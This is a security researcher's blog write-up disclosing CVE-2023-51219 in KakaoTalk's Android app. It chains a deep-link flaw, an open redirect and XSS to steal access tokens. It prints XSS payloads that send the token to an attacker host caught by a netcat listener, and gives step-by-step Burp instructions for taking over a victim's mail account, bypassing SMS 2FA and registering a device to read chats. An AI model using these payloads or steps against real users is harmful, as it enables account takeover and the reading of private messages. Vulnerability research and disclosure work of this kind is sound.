In this blog post we show how multiple low-hanging fruit vulnerabilities in KakaoTalk’s Android app can lead to the disclosure of users’ messages. We will cover different topics ranging from Android AppSec to Web Security.
TL;DR
First things first: PoC||GTFO
A deep link validation issue in KakaoTalk 10.4.3
allows a remote adversary to run arbitrary JavaScript in a WebView that leaks an access token in a HTTP request header. Ultimately, this token can be used to takeover another user’s account and read her/his chat messages by registering an attacker-controlled device. This bug got assigned with CVE-2023-51219. We also release our tooling so that fellow security researchers can dig into KakaoTalk’s broad attack surface to find more bugs.
Context
With more than 100 million downloads from the Google Playstore, KakaoTalk is South Korea’s most popular chat app. Similar to apps such as WeChat, KakaoTalk is an “all-in” app including everything into one app (payment, ride-hailing services, shopping, e-mail, etc.). End-to-end encrypted (E2EE) messaging is not enabled per default in KakaoTalk. Regular chatrooms, where Kakao Corp. can access messages in transit, is the preferred way for many users. KakaoTalk does have an opt-in E2EE feature called “Secure Chat” but it doesn’t support features such as group messaging or voice calling.
Entry Point: CommerceBuyActivity
The CommerceBuyActivity
WebView is the main entry point and very interesting from an attacker’s point of view:
- It’s exported and can be started with a deep link (e.g.,
adb shell am start kakaotalk://buy
) - It has JavaScript enabled (
settings.setJavaScriptEnabled(true);
) - It supports the
intent://
scheme to send data to other non-exported app components via JavaScript. For example, the URI"intent:#Intent;component=com.kakao.talk/.activity.setting.MyProfileSettingsActivity;S.EXTRA_URL=https://foo.bar;end"
loads the websitehttps://foo.bar
in theMyProfileSettingsActivity
WebView. - There’s no sanitization of
intent://
URIs (e.g., theComponent
orSelector
is not set tonull
). So, potentially any app component can be accessed.
Additionally, it leaks an access token in the Authorization
HTTP header. Here’s a simple way to reproduce this behavior:
- Start a Netcat listener in a terminal window:
$ nc -l 5555
- Run
$ adb shell am start kakaotalk://buy
to start theCommerceBuyActivity
WebView - Since
WebView.setWebContentsDebuggingEnabled(true);
you can usechrome://inspect
in Chrome to debug it - Go to the
Console
tab and enterdocument.location="http://<your-IP-address>:5555/";
- You should see a GET request and the
Authorization
header
This means that if we find a way to run our own JavaScript inside the CommerceBuyActivity
we would have the ability to steal the user’s access token and to start arbitrary app components when the user clicks on a malicious kakaotalk://buy
deep link.
Unfortunately, we can’t load arbitrary attacker-controlled URLs as there is some validation going on:
|
|
If you take a look at the code you’ll recognize that we control the path, query parameters and fragment of the URL. However, everything is prefixed with the String m36725d
which is https://buy.kakao.com
in our case. That means if a user clicks on the deep link kakaotalk://buy/foo
the URL https://buy.kakao.com/foo
gets loaded in the CommerceBuyActivity
WebView.
Maybe there’s an Open Redirect or XSS issue on https://buy.kakao.com
so that we can run JavaScript? 🤔
URL Redirect to DOM XSS
While digging into https://buy.kakao.com
we identified the endpoint https://buy.kakao.com/auth/0/cleanFrontRedirect?returnUrl=
which allowed to redirect to any kakao.com
domain. This vastly increased our chances to find a XSS flaw as there are many many subdomains under kakao.com
.
To find a vulnerable website we just googled for site:*.kakao.com inurl:search -site:developers.kakao.com -site:devtalk.kakao.com
and found https://m.shoppinghow.kakao.com/m/search/q/yyqw6t29
. The string yyqw6t29
looked like a DOM Invader canary to us, so we investigated further.
Funnily enough, there was already a Stored XSS as https://m.shoppinghow.kakao.com/m/search/q/alert(1)
popped up an alert box. Searching the DOM brought up the responsible Stored XSS payload [해외]test "><svg/onload=alert(1);// Pullover Hoodie
. Edit: As of May 2024 this seems to be fixed.
Continuing to browse the DOM we discovered another endpoint where the search query was passed to a innerHTML
sink (see DOM Invader notes). Eventually, the PoC XSS payload turned out to be as simple as "><img src=x onerror=alert(1);>
.
At this point we could run arbitrary JavaScript in the CommerceBuyActivity
WebView when the user clicked on a deep link such as kakaotalk://auth/0/cleanFrontRedirect?returnUrl=https://m.shoppinghow.kakao.com/m/product/Y25001977964/q:"><img src=x onerror=alert(1);>
.
As explained above, CommerceBuyActivity
leaks the user’s access token in the Authorization
header.
What could we do with this token? Maybe take over a victim’s KakaoTalk account? 😌
Btw, we could also start arbitrary non-exported app components since CommerceBuyActivity
supports the intent://
scheme.
Deep Link to Kakao Mail Account Takeover
As explained in the previous section, we can steal the user’s access token by running arbitrary JS in the CommerceBuyActivity
WebView. By crafting a malicious deep link, we could send the token to an attacker-controlled server:
|
|
Let’s break it down:
kakaotalk://buy
fires upCommerceBuyActivity
/auth/0/cleanFrontRedirect?returnUrl=
“compiles” tohttps://buy.kakao.com/auth/0/cleanFrontRedirect?returnUrl=
and redirects to anykakao.com
domainhttps://m.shoppinghow.kakao.com/m/product/Q24620753380/q:
had the XSS issue"><img src=x onerror="document.location=atob('aHR0cDovLzE5Mi4xNjguMTc4LjIwOjU1NTUv');">
is the XSS payload. We had to Base64 encodehttp://192.168.178.20:5555/
to bypass some sanitization checks.
Now, in possession of the access token what could we do with it? Well, how about we use it to take over the victim’s Kakao Mail account that was used for KakaoTalk registration!
If the victim doesn’t have a Kakao Mail account it’s possible to create a new Kakao Mail account on her/his behalf. This is interesting because creating a new Kakao Mail account overwrites the user’s previous registered email-address with no additional checks. Scroll to the end of this section to check out how to do that.
First, we needed to check if the victim actually uses Kakao Mail:
|
|
Next, we had to grab another access token to access Kakao Mail:
|
|
This was an example response:
|
|
With the newly gathered token we could access a victim’s Kakao Mail account with Burp. Here’s a way for you to reproduce it:
- Launch Burp’s browser: go to the
Proxy > Intercept
tab, clickOpen browser
and clear the browser’s cache. - Go to the
Repeater
tab and create a newHTTP
request (click on the+
button). - Paste in the following (adapt the
Ka-Tgt
header accordingly):
|
|
- Click on
Send
and confirm the target’s details - Right-click in the request window, select
Request in browser > In original session
and copy the URL into Burp’s browser.
If necessary, we could also create a new Kakao Mail account on the user’s behalf. Just repeat the same steps with Burp using the following HTTP request (adapt the Authorization
header):
|
|
When creating a new email address tick the box Set As Primary Email
.
KakaoTalk Password Reset with Burp
With access to the victim’s Kakao Mail account, a password reset was the next logical step. The only additional information required were the victim’s email address, nickname and phone number which we got with the same curl query that we used above:
|
|
Changing the password via https://accounts.kakao.com
turned out to be a bit complicated as we had to bypass 2FA via SMS. However, it was as simple as intercepting and modifying a couple of requests with Burp. This is how you can do it:
- Using the Burp browser visit the Reset Password link.
- Add the victim’s email address on the next page (
Reset password for your Kakao Account
). Before clicking onNext
, enable theIntercept
feature in Burp. - In Burp, forward all requests until you see a POST request to
/kakao_accounts/check_verify_type_for_find_password.json
. Right-click and selectDo intercept > Response to this request
. - In the response change
verify_types
to0
(this sends the verification code to the victim’s email address and not to her/his phone):
|
|
- Disable
Intercept
in Burp and go back to Burp’s browser. Click onUsing email address
. - Enter the victim’s nickname and email address on the next page and click the
Verify
button. - Open a new browser tab and paste the Burp Repeater URL to access the user’s Kakao Mail account (as described in the previous section). If the message
session expired
shows up, clear the browser’s cache. - Grab the verification code from the email and enter it to proceed to the next page.
- On the page
Additional user verification will proceed to protect your Kakao Account.
, enableIntercept
in Burp again. Enter some values and clickConfirm
. Back in Burp when you see a POST request to/kakao_accounts/check_phone_number.json
, adjust theiso_code
andphone_number
(without country code) parameters in the request body. Forward the request and disable theIntercept
option again. - Finally, you can enter the new password.
PoC
The goal of the PoC is to register KakaoTalk for Windows/MacOS or the open-source client KiwiTalk to a victim’s account to read her/his non-end-to-end encrypted chat messages.
The steps for an attacker are as follows:
Attacker prepares the malicious deep link
First, she/he stores the payload to a file, …
|
|
… starts the HTTP server and …
|
|
… opens a Netcat listener in another terminal window: $ nc -l 5555
. Easy ;-)
Victim clicks the link and leaks an access token to the attacker
Next, the attacker sends a URL (e.g., http://192.168.178.20:8888/foo.html
) and waits until the victim clicks it. The access token should be then leaked in the Netcat listener:
|
|
Attacker uses the access token to reset the victim’s password
Next, the attacker can now reset her/his KakaoTalk password (see instructions above).
Attacker registers her/his device the victim’s KakaoTalk account
When logging into KakaoTalk for Windows/MacOS or KiwiTalk with the victim’s credentials a second authentication factor is required. It’s a simple 4-digit pin which is either displayed in the PC version and needs to be entered in the KakaoTalk mobile app or the other way around (i.e., pin is sent to mobile app and needs to be entered in PC app).
Unfortunately, the pin can’t be brute-forced as there’s some rate limiting going on at the endpoints https://talk-pilsner.kakao.com/talk-public/account/passcodeLogin/authorize
and https://katalk.kakao.com/win32/account/register_device.json
(blocked after 5 attempts).
Luckily, we can still use the gathered access token to post/get the pin number to/from the KakaoTalk backend:
|
|
Example response:
|
|
In case the pin is sent to the KakaoTalk mobile app use this curl query:
|
|
Example response:
|
|
And we’re in! Profit 🥳 🥳 🥳
Takeaways
- There are still popular chat apps that don’t require a very complex exploit chain to steal users’ messages.
- If app developers make a couple of simple mistakes, Android’s strong security model and message encryption won’t help.
- Asian chat apps are still underrepresented in the security research community. I hope this blog post will encourage fellow researchers to dig into those apps.
Responsible Disclosure
We reported this vulnerability in December 2023 via Kakao’s Bug Bounty Program. However, we didn’t receive any reward as only Koreans are eligible to receive a bounty 🤯
As an immediate fix, Kakao Corp. took down https://buy.kakao.com
and removed the /auth/0/cleanFrontRedirect?returnUrl=
redirect. The vulnerable CommerceBuyActivity
was removed in later versions (see correspondence).